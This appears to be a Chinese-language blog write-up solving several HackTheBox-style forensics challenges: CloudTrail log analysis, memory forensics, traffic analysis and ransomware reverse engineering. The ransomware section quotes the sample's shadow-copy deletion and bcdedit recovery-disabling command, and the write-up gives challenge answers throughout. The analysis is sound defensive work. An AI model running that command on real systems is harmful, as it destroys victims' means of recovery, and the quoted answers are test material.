1 | The compromised AWS IAM credentials were exploited by the Threat Actor. Can you identify the regions where they were used successfully? Separate regions by comma and in ascending order. |
此时我们正式进入AWS CloudTrail日志分析阶段,所以还请各位准备好自己的分析工具,这里我就还是拿Elastic举例好了
首先我们从error.log
里面知道了攻击者使用了IP35.169.66.138
,那么我们可以从AWS日志里面找一下对应IP触发事件GetCallerIdentity
时对应的userIdentity.userName
:
OK,我们确认了攻击者使用的用户名是devops-ash
,那么题目说used successfully
,那么肯定是不存在错误码的,所以我们就只需要过滤用户名和没有错误码的记录就OK了:
所以最后成功的就只有两个AWS区域:us-east-1,us-east-2
别问我为什么没打空格,问就是题目要求
Task 9
1 | The compromised IAM account's early access may have enabled the Threat Actor to obtain the public IP addresses of running instances before the web server attack. What API call could have exposed this information? |
不出意外,还是AWS API基础知识,搜一下就知道DescribeInstances
会获取实例的基础信息并返回,非常符合题意
Task 10
1 | Looks like the Threat Actor used multiple IP addresses. What is the total number of unsuccessful requests made by the Threat Actor as seen in the CloudTrail logs? |
不知道各位Task 8有没有注意到userIdentity.arn
这一部分?里面包含了用户的accountId
,也就是949622803460
,因此这一题还是挺简单的:过滤一下accountId
和errorCode
就行了:
最后确认有742
次未成功的请求,如果有测出744的建议缩短一下时间区间,最好就是将时间固定为13点到15点,至于为什么右上角那个时间是21点…UTC+8,懂?
Task 11
1 | Can you identify the AWS identities linked to successful API calls potentially used by the threat actor to reveal infrastructure details? Exclude any identity-related calls. Separate ARNs by comma and in ascending order. |
Task 10里面提到了攻击者可能使用了多个IP,而和Task 8有直接关联的两个IP分别是35.169.66.138
和34.202.84.37
,因此这一题我们过滤一下这两个IP和成功的API调用看看:
1 | (sourceIPAddress.keyword:"34.202.84.37" or sourceIPAddress.keyword :"35.169.66.138" ) and NOT errorCode :* and NOT eventName.keyword :"GetCallerIdentity" |
题目提到了“去除所有和Identity相关的调用”,因此我加上了后面的NOT,最后在userIdentity.arn
里面能发现有两个ARN:arn:aws:iam::949622803460:user/devops-ash,arn:aws:sts::949622803460:assumed-role/EC2DatabaseConnection/i-0bdf91168b50e943e
Task 12
1 | Evidence suggests that a couple of AWS RDS databases were targeted. Can you identify all DB snapshots that were created by the Threat Actor? Separate identifiers by commas and in ascending order. |
攻击者创建了DB快照,对应的API调用是CreateDBSnapshot
,所以直接过滤出来就行了:
1 | userIdentity.accountId.keyword:"949622803460" and (eventName.keyword :"CreateDBSnapshot" ) |
看一下requestParameters.dbSnapshotIdentifier
,发现一共就两个DB被盯上了:transactiondb-prod-2024-03-13-06-53,wb-customerdb-prod-2024-03-13-07-59
Task 13
1 | The threat actor successfully exfiltrated data to their account. Can you identify the AWS account ID they used? |
DB被泄露到攻击者的云端帐户,这个使用的是ModifyDBSnapshotAttribute
,我们先看看AWS CLI里面是怎么用的:
Note框下面有说如果DB被加密了可以分享,但是只能分享给指定的用户,然后会放在ValuesToAdd
里面
这不就简单了?过滤一下就有了:
1 | userIdentity.accountId.keyword:"949622803460" and (eventName.keyword :"ModifyDBSnapshotAttribute") |
最后提取出来能看到ValuesToAdd的ID是143637014344
Task 14
1 | Which MITRE Technique ID corresponds to the activity described in Question 13? |
出题人良心发现,最后送了一个水题,这个翻一下MITRE矩阵就能知道这个技术是在泄露Exfiltration
下的Transfer Data to Cloud Account
,也就是T1537
最后给一下自己改的在Windows上把数据拉到Elastic的脚本(就是对Septdney大佬repo的轻微改动,脚本放在AWS目录外,起Docker的话和repo上完全一致)
1 | import gzip |
确实学到了很多,但是真的也很折磨QAQ
Heartbreaker-Continuum
难度:Easy
和上一题AWS日志分析同一个出题人的题目,这一次就是非常简单而纯粹的恶意样本分析,两题的难度差异让我不由得怀疑出题的换人了(
Task 1
1 | To accurately reference and identify the suspicious binary, please provide its SHA256 hash. |
好的,VirusTotal秒了
Task 2
1 | When was the binary file originally created, according to its metadata (UTC)? |
同1
Task 3
1 | Examining the code size in a binary file can give indications about its functionality. Could you specify the byte size of the code in this binary? |
查看.text
区域的Raw Size
大小,也是VirusTotal秒了
Task 4
1 | It appears that the binary may have undergone a file conversion process. Could you determine its original filename? |
这一题可能需要找一下,这一个恶意样本是.NET的可执行文件,IDA反汇编后看到最下面保存字符串的地方,能看到原文件的名字,提示一下:是一个ps1
Task 5
1 | Specify the hexadecimal offset where the obfuscated code of the identified original file begins in the binary. |
如果你用IDA来看,那么你肯定找不到东西,因为这个exe把混淆后的代码放在了汇编和字符串之间(笑),建议用010去看,应该很快就能找到的
Task 6
1 | The threat actor concealed the plaintext script within the binary. Can you provide the encoding method used for this obfuscation? |
找到混淆代码了还不知道用的什么编码?就算没找到也应该猜得到是啥吧www
Task 7
1 | What is the specific cmdlet utilized that was used to initiate file downloads? |
使用了什么cmdlet,把代码解混淆后应该很快就能看到了,是用了什么来着?Invoke…啥来着?忘了,欸嘿(≧∀≦)ゞ
Task 8
1 | Could you identify any possible network-related Indicators of Compromise (IoCs) after examining the code? Separate IPs by comma and in ascending order. |
翻一下整个代码,里面应该只有2个IP和代码的恶意行为相关
Task 9
1 | The binary created a staging directory. Can you specify the location of this directory where the harvested files are stored? |
猜猜看“目标目录”是干什么的?(笑)
Task 10
1 | What MITRE ID corresponds to the technique used by the malicious binary to autonomously gather data? |
去Collection那列看看哪个符合收集数据的方法就行了,应该一眼就能看出来
Task 11
1 | What is the password utilized to exfiltrate the collected files through the file transfer program within the binary? |
这一题需要你了解sftp相关的知识,一般会使用sshpass和sftp进行登录,但是使用lftp连接sftp的时候它会把密码也带在里面,这个恶意脚本也正是使用后者这个工具的脚本,那么密码应该也就很好找了
Fragility
难度:Easy
好大的附件…你这是把整个Linux给我爬下来了啊…
非常传统的Linux应急响应,配合了一些流量分析,整体来说难度也不算太大,题目出的挺不错的
Task 1
1 | What CVE did the attacker use to exploit the vulnerability? |
上来就问你CVE是什么…不过不用太担心,因为这个还是挺好找的,简单搜一下Splunk的CVE就能找到,最好再加一个关键字,比如请求的web路径这样的,应该能在Github上面找到一个Python的RCE poc,使用的就是这个脚本
Task 2
1 | What MITRE technique does the attacker use to maintain persistence? |
仔细看一下这个CVE,我们发现这个漏洞是因为官方没有正确处理XSLT文件导致的,所以我们需要找到的恶意payload就在上传的XSLT文件里面
由于XSLT是用于将XML文档转换为其它XML文档的,那么Wireshark会将XSLT识别为XML,所以找到POST+HTTP/XML的那个流量,里面就是恶意代码了
最后应该会得到一个Bash文件,里面去掉开头经典的#!/bin/bash
就能看到它究竟是如何进行权限维持的了,翻一下MITRE就有了
Task 3
1 | John has adjusted the timezone but hasn't rebooted the computer yet, which has led to some things either being updated or not updated with the new timezone. Identifying the timezone can assist you further in your investigation. What was the default timezone and the timezone after John's adjustment on this machine? |
应该是最难的一小问,首先根据流量包中的NTP流量我们可以知道攻击时UTC时间在2024-04-14 15:00:xx
附近,接下来就得去题目给的Linux附件里面找了
做了上面的题目,首先就应该想到去/var/log/auth.log
里面看看登录日志,我们看到最后面的时间(最后那一部分就是攻击者进行攻击操作的记录)是2024-04-14 08:03:xx
附近,那么由于主机没有关机,所以我们可以确定修改前的时区应该是UTC-7
那么修改后的呢?还记得这题打的是什么吗?是Splunk,所以我们可以去看看Splunk的日志,目录是在/opt/splunk/var/log
下面,找到web_access.log
,我们可以看到最后攻击者访问路径的时间在2024-04-14 22:00:xx
附近,因此我们可以确定修改后的时区应该是UTC+7
Task 4
1 | When did the attacker SSH in? (UTC) |
这题秒了,SSH密钥交换完后第一个流量包的时间就是SSH的时间
Task 5
1 | How much time has passed from when the user was first created to when the attacker stopped using SSH? |
先看前面恶意Payload里面是哪个用户名被创建了,然后在auth.log
里面找它被创建的时间,然后到这个用户的Session结束的时间,其时间差就是答案,注意不是Session的始末时间!!!
Task 6
1 | What is the password for the account that the attacker used to backdoor? |
这个在Payload里面,新建的账号在前面找到了,那么应该也能在Payload里面找到哪里修改了密码吧,应该不难的,注意一下管道符指令,需要有一些额外的处理
Task 7
1 | There is a secret in the exfiltrated file, what is its content? |
这题需要获取并解密被泄露的文件,我们能在auth.log
里面发现攻击者在某个目录下将别处的某个文件打包成了zip并加密了,因此我们可以首先进到执行指令的那个目录下面查看它的.bash_history
此时我们就知道了攻击者执行了什么指令,此时我们应该能看到攻击者往某一个IP地址的某个端口发送了数据,请注意这里的数据是经过处理的压缩包数据,也就是说在解密得到压缩包之前还有一些其它的处理
那么我们现在就应该在流量包中过滤对应IP和端口的数据并提取出来,然后反向处理并解密就能得到压缩包了,里面的文件就有答案
温馨提示:请多加注意管道符操作,完整的反处理(从Hex字符串开始的话)有4步才能得到压缩包数据
Task 8
1 | What are the username and password that the attacker uses to access Splunk? |
我不是很懂为什么这一问放在这里,理论上这一题应该在前面的
这题看看流量包里面Splunk登录界面的POST信息就行了
Recollection
难度:Easy
非常非常经典的内存取证,虽然问的问题有点多,不过还是不难的,很适合入门
Task 1
1 | What is the Operating System of the machine? |
既然都是内存取证了,那么肯定是拿Volatility去跑吧,Vol2用imageinfo
,Vol3用windows.info.Info
,跑一下就知道了,不过前者就得根据Profile去猜(不过还是非常经典的第一个就是了)
Task 2
1 | When was the memory dump created? |
跑完Info之后直接看就知道了
Task 3
1 | After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command? |
这题我用了2种解法,一种是用的clipboard
,另一种是用的cmdscan
,不过既然题目说是Clipboard那还是前者更符合题意一点,看看Vol跑出来什么交上去就行了
Task 4
1 | The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet name? |
这里最简单的办法就是把Task 3跑出来的结果在Powershell里面运行一下,不过我这边简单解构一下好了:
首先就是gv
,这里首先要引入Powershell的Alias(另称),因为有很多Powershell命令是很长的,所以Windows给许多命令提供了另称用于加快命令的输入,比如这里的gv
,它的完整命令叫Get-Variable
,执行的是获取当前控制台的变量
当然,这个命令可以筛选包含特定字符的变量,无关大小写,这里正是利用了这个方法,获取了中间包含mdr三个连续字母的变量(*
是通配符),而控制台默认有一个变量叫MaximumDriveCount
刚好符合条件,所以被筛选出来的就是它
然后.naMe
就很好懂了,因为提取出来的是一个表格,所以提取变量名得这样干,最后就是拼接字符串,数一下就知道结果是iex
,而这又是另一个命令的Alias,具体是什么各位自行去搜吧
Task 5
1 | A CMD command was executed to attempt to exfiltrate a file. What is the full command line? |
执行了命令,那么cmdscan
能跑出来这些执行过的命令,在一众命令里面有那么一个命令发送了文件,应该挺明显的
Task 6
1 | Following the above command, now tell us if the file was exfiltrated successfully? |
看了执行的命令,如果成功的话…你确认会要试好几遍?(笑)反正我不那么觉得
Task 7
1 | The attacker tried to create a readme file. What was the full path of the file? |
那些命令里面有一个运行了Base64编码后的命令,要不要看一下那个命令到底是什么?
Task 8
1 | What was the Host Name of the machine? |
这里需要看注册表了,Vol带有registry
插件可以读取注册表里面的内容,不过首先得找到系统注册表单元的偏移然后指定需要查找的Key才能找到你需要的信息
所以第一步永远都是Vol2的hivelist
或者Vol3的windows.registry.hivelist.HiveList
,然后确认系统注册表单元的偏移后Vol2printkey
或Vol3windows.registry.printkey.PrintKey
去提取出来
这里我们要找到主机名,一般是保存在SYSTEM\(CurrentControlSet)\Control\ComputerName
里面,具体的ControlSet需要自行根据情况判断,这里是ControlSet001
Task 9
1 | How many user accounts were in the machine? |
同理,这一题也需要查看注册表,用户详细在SAM\Domains\Account\Users\Names\(xxuser)
里面,不过由于是看有几个用户,就只需要看名字就行了,不需要进到里面,不过最后得到的结果还有带$
的机器账户,需要排除
Task 10
1 | In the "\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge" folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path? |
直接filescan
扫一遍然后grep
或者FINDSTR
找就行了,记得把路径里的C:\
改成\Device\HarddiskVolume2\
Task 11
1 | A malicious executable file was executed using command. The executable EXE file's name was the hash value of itself. What was the hash value? |
我不好说,你为什么放这里呢?这题应该和前面cmdscan
放一起,有一个指令执行了这个exe,找到提交文件名就行了
Task 12
1 | Following the previous question, what is the Imphash of the malicous file you found above? |
filescan
找偏移然后dumpfiles
导出来,然后扔进VirusTotal里面看
Task 13
1 | Following the previous question, tell us the date in UTC format when the malicious file was created? |
看VirusTotal
前面三题其实还有另一种做法,后面会提到
Task 14
1 | What was the local IP address of the machine? |
netscan
跑一下就看到了
Task 15
1 | There were multiple PowerShell processes, where one process was a child process. Which process was its parent process? |
psscan
看进程,然后看几个powershell.exe
的PPID
,也就是Parent PID,然后看父进程ID对应的应用,如果是explorer.exe
也就是文件资源管理器的话是没什么问题的,但是另一个…看起来正常,但是实际不正常(笑)反正遇到好几个这个进程是恶意文件的情况了
Task 16
1 | Attacker might have used an email address to login a social media. Can you tell us the email address? |
鄙人太菜,直接010爆邮箱的,国外用的比较多的也就Outlook啊Gmail啊这些的了,而且登录社交媒体那肯定是用的比较多的邮箱,可能是非预期吧,挺好奇预期解是怎么样的(因为我做完题就跑路了)
Task 17
1 | Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution's name? |
这题一看用的Edge浏览器,肯定得找浏览器历史记录了,搜一下我们就知道有关网页访问的记录都会记录在C:\Users\(username)\AppData\Local\Microsoft\Edge\User Data\Default\History
这个SQLite数据库下,不过我们知道路径没法直接dump出来,还得filescan
跑一下看看偏移
导出来直接用Navicat之类的连上去看一下就知道了,访问记录在数据库的visits
表内,然后urls
保存的是有关的URL信息,下载的文件在downloads
SIEM全称Security Information and Event Management,就是用于实时监测、分析用户日志数据并对可能的网络攻击进行响应的解决方案,搜一下你应该能发现有一个东西就是SIEM工具
Task 18
1 | The victim user downloaded an exe file. The file's name was mimicking a legitimate binary from Microsoft with a typo (i.e. legitimate binary is powershell.exe and attacker named a malware as powershall.exe). Tell us the file name with the file extension? |
看看上面的SQLite数据库,应该能看到访问的URL记录,我们的出题人在MalwareBazaar上面下载了2个恶意样本,其中有一个就是前面遇到的那个恶意样本(这也是我想说的另一种做法:直接去访问对应的网站看恶意样本的信息),但是还有另一个,那么这个恶意文件就应该是另一个压缩包内的恶意样本
我们不知道typo,但是我们知道出题人下载到了默认下载路径啊,那么filescan
跑一遍过滤一下下载路径就行了,应该能看到这个恶意样本改了typo,至于为什么后面还是没改我想应该是数据覆盖的问题,就像CVE-2023-28303一样🤔
RogueOne
难度:Easy
在做完Recollection之后,这一题可以说是非常简单了,甚至可以说秒杀,放新生赛都完全OK(
Task 1
1 | Please identify the malicious process and confirm process id of malicious process. |
经典psscan
去扫,不过这里的恶意进程不太好找,建议去看一下和命令行/控制台有关的程序和它对应的父进程,甚至最好就是先做Task 2再做Task 1
当然malfind
也能找到这个恶意进程就是了
Task 2
1 | The SOC team believe the malicious process may spawned another process which enabled threat actor to execute commands. What is the process ID of that child process? |
根据题意,生成的进程能让攻击者执行命令,那么肯定会和cmd或者Powershell有关,找一下对应的进程,然后看看父进程有没有什么不太正常的就行了,建议配合Task 1使用
Task 3
1 | The reverse engineering team need the malicious file sample to analyze. Your SOC manager instructed you to find the hash of the file and then forward the sample to reverse engineering team. Whats the md5 hash of the malicious file? |
找到恶意进程了,dumpfiles
一下然后扔到VirusTotal就知道了
Task 4
1 | In order to find the scope of the incident, the SOC manager has deployed a threat hunting team to sweep across the environment for any indicator of compromise. It would be a great help to the team if you are able to confirm the C2 IP address and ports so our team can utilise these in their sweep. |
netscan
然后找对应PID的网络连接,它的外部地址和端口就是我们要找的答案
Task 5
1 | We need a timeline to help us scope out the incident and help the wider DFIR team to perform root cause analysis. Can you confirm time the process was executed and C2 channel was established? |
Task 4看时间,over
Task 6
1 | What is the memory offset of the malicious process? |
psscan
的时候能看到对应进程的内存偏移,秒了
Task 7
1 | You successfully analyzed a memory dump and received praise from your manager. The following day, your manager requests an update on the malicious file. You check VirusTotal and find that the file has already been uploaded, likely by the reverse engineering team. Your task is to determine when the sample was first submitted to VirusTotal. |
刚扔上去VirusTotal,在那里看就行了(我觉得就是出题人出了这题后就把这个恶意样本扔上去了)
Meerkat
难度:Easy
一个比较简单的流量分析+流量日志分析,不过主要还是流量分析而不是日志分析
Task 1
1 | We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? |
看流量包看不出来的,得看日志,但是json又难看的要死,所以可以先转成csv再用伟大的Zimmerman Tools的Timeline Explorer去看,我们可以看到alert_signature
下面就是使用的应用Bonitasoft
Task 2
1 | We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out? |
看流量包,发现在爆用户名+密码,然后找一下爆破的子类,最后确认答案是Credential Stuffing
Task 3
1 | Does the vulnerability exploited have a CVE assigned - and if so, which one? |
CVE不好找,但是日志里面已经帮你识别出来了,所以不需要你去自己找
Task 4
1 | Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit? |
你可以看流量包去看API的路径是不是多了一个什么东西,你也可以去搜一下那个CVE去看看这个漏洞是怎么实现的,反正结果是一样的
Task 5
1 | How many combinations of usernames and passwords were used in the credential stuffing attack? |
欸,本关考你Wireshark基操功夫,要你先在左下分组详情找到用户名和密码那里,然后右键选择“应用为列”,最后在上面通过刚刚的用户名排列顺序,最后答案应该是55+1,为什么要+1是因为后面的渗透用的就是这个账密
Task 6
1 | Which username and password combination was successful? |
Task 5都做出来了,Task 6直接秒杀好吧
Task 7
1 | If any, which text sharing site did the attacker utilise? |
看一下统计栏下的HTTP-请求,你能在里面找到网站的,包会的,实在不行就一个一个流量包看呗,反正也不多
注意一下:这个网站现在改名字了,但是还是以抓到的流量包里面的信息为准
Task 8
1 | Please provide the filename of the public key used by the attacker to gain persistence on our host. |
去那个网址看看攻击者wget了个什么吧,都会有的,密钥也是保存在这个文本共享网站上的,只需要提交网站后面的那串字符就行了
Task 9
1 | Can you confirm the file modified by the attacker to gain persistence? |
Task 8做完你还不知道Task 9答案是什么?我不信嘞
Task 10
1 | Can you confirm the MITRE technique ID of this type of persistence mechanism? |
都改SSH密钥了,你说呢?翻一下矩阵不就找到了?
Lovely Malware(暂未完成)
难度:Insane
不要随便用7zip打开奇奇怪怪的可执行程序,谨记前人教训
极致纯粹的恶意样本分析,感觉已经比较贴近真实的恶意样本分析了,包括反沙箱之类的都有,需要一定的逆向水平才能做这题,不过由于我本人是纯粹的Misc手,逆向的话不是很会,所以稍微借助了一下IzayoiShiki(式)神的帮助
截至目前(2024.12.10)除去最后一题的所有小问均已完成
Task 1
1 | What is the SHA256 hash of the malware? |
传统艺能了属于是,扔进VirusTotal先吧,没什么好说的了,实在不行certutil
也行
Task 2
1 | The malware uses a global mutex to ensure that only one instance of it is being executed at the same time. What is the name of the mutex? |
设置了一个全局互斥锁,相关的信息其实在VirusTotal里面就有,翻翻Behaviour就行,之后我们还会遇到它的
Task 3
1 | The malware uses a decryption routine to decrypt its important strings. What is the decryption key used for that? |
不得不说嗷,你Insane题就是快,这么一下子就开始要逆向分析了,那么IDA,启动!
然后你就会看到一坨史(因为没有pdb),而且跟着main
去走你完全找不到那些字符串在哪里,那怎么办呢?
欸,别急,先了解一下TLS callback是什么吧(这是我随便找的一篇文章,没细看):【逆向学习】TLS_Callback TLS回调函数学习以及出题思路 - Xunflash的小站
这么想来就很正常了:我先在TLS callback里面把关键的字符串解密了然后再执行恶意操作,这样别人既找不到我这些关键的字符串,又可以正常执行,增加了分析难度,因此我们现在就去看看Tls_callback
函数里面究竟干了什么吧:
笑嘻了,你就直接循环然后一个一个字符去比对是吧,所以如你所见,用于解密的密钥就是Love_Her
还请各位记住这个密钥,它被保存在word_14000F128
里,后面绝大部分的题目答案都会用到它去解密
Task 4
1 | The malware checks the parent process to see if it started normally or under a debugger. What is the expected name for the parent process? |
首先,根据题意,我们能够猜到答案是explorer.exe
,因为肯定是检测双击打开才加密,也就是从文件资源管理器那里打开的
接下来让我们从关键字符串的角度去解析一下:在TLS callback的后半段出现了一大串的函数调用,而函数一共就两个:sub_140003840
和sub_140003900
,让我们先看一下3840这个函数:
一个非常经典的复制粘贴,同样的我们能发现3900也是一个复制粘贴,所以我们需要关注的点就在于两个参数,而第1个参数是dst,第2个参数是src,所以我们可以合理推断右边的那些数据是经过加密的数据
好的,接下来我们就xref一下第1个参数,看看能不能找到解密函数,这里拿第1个调用的数据为例,我们跟踪byte_14000EE38
跳转到函数sub_140002A10
,会发现这个byte作为参数被函数sub_140003550
调用了,那么我们看看这个函数吧:
应该也是很明显能看出来基本逻辑了,而且正如我重命名的一样,这个就是解密函数,那么我这里给一下Python的解密脚本吧(因为太久没写C了,手疏了www)
1 | enc2 = [] |
如此一来应该能够解密TLS callback里面的大部分数据了,但是!在解密byte_14000B490
的时候,你会发现这完全就是一串乱码,但是不用担心,像上面一样跟踪一下,你会在sub_140003310
找到你想要的东西:sub_140003600
进行了类似的解密操作,不过这次使用的密钥好像是…byte_14000F118
?而且长度是10而不是8了?那么我们再看看F118是什么…欸?在TLS callback有用到…不是你这不是完全就在B490下面吗?
那么稍微修改一下上面的脚本,你应该就能解密出B490是什么了:没错,是勒索信息,之后我们也会用到这个
那么最后,简单揭秘一下每一行对应的数据是什么吧:
改完名字,再去跟踪main就舒服很多了,而且最后我们也能看到确实有个explorer.exe
,跟进一下确实也是去查看了父进程是不是这个的;至于最后那里有2个没有重命名的,是因为xref确实没找到有哪些地方调用了这些东西
这里顺带提一嘴:这个恶意样本的所有API调用都使用了哈希去查找,这样大幅增加了调试难度(毕竟谁会想一个一个哈希去比对啊…)
还记得开场白的各位这下知道我是被什么救了吧…还好父进程不是explorer.exe,不然就真的要死了QAQ,我是笨蛋o(TヘTo)
Task 5
1 | The malware tries to turn off the computer if it suspects it is running a debugger. What is the Windows API used for that? |
这个我是去搜了一下Windows用于关机的API有什么,看了一下应该是ExitWindows
,我个人没有真的去整哈希
Task 6
1 | The malware targets a specific directory and its subdirectories in the drive where the Windows OS is installed. What is the name of this directory? |
还是先猜一个Users
目录,然后我们再详细去分析(憋憋,喜欢猜猜谜?)
这一问既然问了,而且是一个固定的目录,那么我们就能合理猜测这个目录位置就是写死的,最多把字符串加密了,不过这个确实不太好找,一层层去找很容易走丢,所以面向结果的话,就在保存data的区域去找然后一个个尝试去解密(笑),总之这个字符串是在文件加密并覆盖的那个函数找到的,先剧透一下:加密用的AES(主要下面要放的截图我已经重命名了函数名所以不如先讲了)
解密一下里面的数据,能得到一个Users\*
的字符串,那么和题意也是非常相符了,当然这也说明这个恶意样本会加密Users下的所有多媒体文件,至于为什么是多媒体文件…让我们看下一题…
Task 7
1 | Which among these file extensions does the malware not target {png, docx, exe, 7z, zip}? |
勒索病毒一般加密的都是多媒体文件,所以.exe
一般是不会加密的,这里也是一样的,不过这个恶意样本会去加密的所有后缀都在程序里面
考虑到一般后缀都会先加载,所以还是看文件加密的函数,上面的图跟踪一下sub_140008770
,我们发现有个v3变量先复制粘贴了然后解密了,过去能看到一系列指针,指向的是从unk_14000BA9C
开始的一系列数据,这些数据都在4或8个字节长度,然后使用的密钥还是Task 3那个,不过由于加密的数据的长度有点短,所以我这边图方便就直接同时把所有数据拉下来然后使用密钥前4个字符循环异或,最后得到的结果长这样:
1 | pdfLdocLdocm/docx/htmLhtml/txtLrtfLxmlLcsvLodsLxlsLxlsm/xlsx/xltm/xltx/bmpLjpgLmp4Lmp3LodpLpotLpotm/potx/pptLpptm/pptx/zipL7ztarLjpeg/rarLtmpLwpdLwp5LpngL |
稍微筛一下我们就能知道所有的后缀:
1 | .pdf .doc .docm .docx .htm .html .txt .rtf |
还真是多媒体文件哈,然后对一下上面问的问题就发现只有exe没被加密
Task 8
1 | What is the encryption algorithm used for encrypting files? Algorithm-KeyLength? |
刚刚剧透了说是AES加密,何以看出?看看main的第4个函数,你会发现它解密出了一堆乱码(如果是用的chr(i)
的话),但是如果直接输出dec
这个列表,一眼就能看出来这个就是AES的S盒和逆S盒,那么包用的AES,然后看后面的AES加密,参数256估计是随机生成一个数?总之就硬猜是AES-256
(
我完全没看API,总之我是跟着Task 11一起做的,看到里面的Key是32位的就知道是256了,嗯,就这样(菜鸡就是这样的)
Task 9
1 | Before the malware begins its encryption process, it attempts to disable all methods of recovering the original data. What is the full shell command executed for this? |
VirusTotal可以看到恶意样本执行的shell命令,也就是这一题的答案,当然关键字符串也有,不过你得稍微看一下sub_140003430
是怎么实现的,它把好几个关键字符串拼接了然后才执行的,所以需要注意一下,最后这个shell应该是由三部分组成的:首先删除卷影副本,然后使用bcdedit关闭Windows的启动修复功能以及系统的自动修复功能,只能说这很恶意操作:cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
Task 10
1 | Once the malware encrypts files, it sends info about the key used and the ID of the victim. Please provide the format used for this? |
这个在关键字符串里面,解密一下就知道了,跟踪一下是发现在main的最后一个函数里面,那个函数整体就是发送数据到攻击者使用的IP那里,然后提交答案的时候只需要提交格式就OK:{'Name' : %s , 'Computer' : %s , 'Proc' : %s , 'Key' : %s , 'Id' : %s}
,后面在Task 11还会见到它一次
Task 11
1 | What is the IP and port utilized by the malware author? |
在前面解密的字符串里面就有一个IP地址:192.168.1.104
,这个地址在最后一个函数里面被调用了,合理猜测是恶意样本作者使用的IP,那么题目附件里面还有一个pcap,过滤一下IP就会发现除去无关紧要的SSDP通信,就只差一个和8000端口通信的TCP流量了,然后发送的数据的格式也和Task 10的完全一致,那么我们基本可以确定找到的IP和端口了:192.168.1.104:8000
Task 12
1 | What is the extension added to the encrypted files? |
这一问我不好说,你都给了加密后的附件了,这不一眼丁真?(笑)
嘛,总之这个加密后缀也在关键字符串里面,解密能看到,跟踪一下会发现它参与了文件名拼接的操作,进一步证实了它确实是加密后缀
Task 13
1 | What is the Bitcoin address used by the malware author? |
欸,还记得前面Task 4解密出来的勒索信息吗?里面就有恶意样本作者的比特币地址哦
啥?你问我怎么知道的?你想勒索肯定要告诉受害者他要去给哪个地址打比特币啊
Task 14(暂未解出)
1 | Can you decrypt the file provided as an attachment and provide its SHA256 hash? |
卡死在这里了,已经能找到AES的代码了,Key也在流量包里面,但是我IV呢???找了好几天没找到QAQ,大佬求带QAQ
Appendices
附录这一部分就用于记录一些杂七杂八的东西好了,不过这也意味着用处可能也不算很大…
Appendix A 需要注意的Windows事件ID和其代表的事件 (Under Construction)
找到的是这篇报告:windows-event-log-analyst-reference.pdf,我觉得非常不错,所以Ctrl+C/V了(
当然,如果你需要了解更多的Event ID,我很推荐谷歌云的这篇文档:Collect Microsoft Windows Event data | Google Security Operations | Google Cloud,超级全,不过好像太大了,我这边加载的一卡一卡的www
账号管理
Event ID | Description |
---|---|
4720 | 用户账号被创建 |
4722 | 用户账号被启用 |
4723 | 用户尝试修改账号密码 |
4724 | 尝试重置用户密码 |
4725 | 用户账号被禁用 |
4726 | 用户账号被删除 |
4727 | 启用了安全性的全局组被创建 |
4728 | 用户被添加至启用了安全性的全局组 |
4729 | 用户从启用了安全性的全局组被移除 |
4730 | 启用了安全性的全局组被删除 |
4731 | 启用了安全性的本地组被创建 |
4732 | 用户被添加至启用了安全性的本地组 |
4733 | 用户从启用了安全性的本地组被移除 |
4734 | 启用了安全性的本地组被删除 |
4735 | 启用了安全性的本地组被修改 |
4737 | 启用了安全性的全局组被修改 |
4738 | 用户账号被修改 |
4741 | 电脑账号被创建 |
4742 | 电脑账号被修改 |
4743 | 电脑账号被删除 |
4754 | 启用了安全性的通用组被创建 |
4755 | 启用了安全性的通用组被修改 |
4756 | 用户被添加至启用了安全性的通用组 |
4757 | 用户从启用了安全性的通用组被移除 |
4758 | 启用了安全性的通用组被删除 |
4798 | 枚举了用户的本地组成员身份 |
4799 | 枚举了启用安全的本地组成员身份 |
其中对于最后两个枚举事件,如果出现大量该事件,说明可能有攻击者正在枚举你的用户组成员以挖掘账户(可见MITRE ATT&CK Matrix T1087)
账号登录&响应码/错误码
说句实话应该叫“结果码”(Result Code)而非“响应码”(Response Code),不过前者听起来好怪
下面首先是认证域内用户的事件:
Event ID | Description |
---|---|
4768 | 一个Kerberos TGT被授予(但是实际的访问需要等到Event 673发放服务凭证之后才会发生) |
Result Codes for Event 4768:
Decimal | Hex | Meaning |
---|---|---|
6 | 0x6 | 用户名无效 |
12 | 0xC | 政策限制阻止了该次登陆操作 |
18 | 0x12 | 该账户被锁定、禁用或者已过期 |
23 | 0x17 | 该账户密码已过期 |
24 | 0x18 | 密码错误 |
32 | 0x20 | 凭证过期 |
37 | 0x25 | 时钟偏差太大 |
0 | 0x0 | 审核通过 |
Event ID | Description |
---|---|
4769 | 一个Kerberos服务票证被请求,包含请求者系统的源IP,使用的用户名,将要访问的服务 |
Ticket Encryption Types for Event 4769:
Encryption Type | Description |
---|---|
0x1 | DES-CBC-CRC |
0x3 | DES-CBC-MD5 |
0x11 | AES128-CTS-HMAC-SHA1-96 |
0x12 | AES256-CTS-HMAC-SHA1-96 |
0x17 | RC4-HMAC |
0x18 | RC4-HMAC-EXP |
0xFFFFFFFF | - |
Event ID | Description |
---|---|
4770 | 一个Kerberos服务票证被更新,同时会记录账号名,服务名,用户IP和加密类型 |
4771 | Kerberos预验证失败 |
4776 | 域控制器尝试验证账户凭据,一般是当域控通过NTLM(而非Kerberos)成功验证用户的时候会记录该ID的事件 |
Error Codes for Event 4776:
Error Code | Meaning |
---|---|
0xC0000064 | 用户名错误 |
0xC000006A | 密码错误 |
0xC000006D | 一般登陆失败,可能原因有用户名/密码错误,或者源计算机和目标计算机间LAN管理器身份验证级别不匹配 |
0xC000006F | 帐户在授权时间以外登录 |
0xC0000070 | 帐户在未授权工作站登录 |
0xC0000071 | 帐户使用过期密码登录 |
0xC0000072 | 帐户登陆已被管理员禁用 |
0xC0000193 | 帐户使用过期账号登录 |
0xC0000224 | 帐户登陆时已标记下次登陆时更改密码 |
0xC0000234 | 帐户使用被锁定的账号登录 |
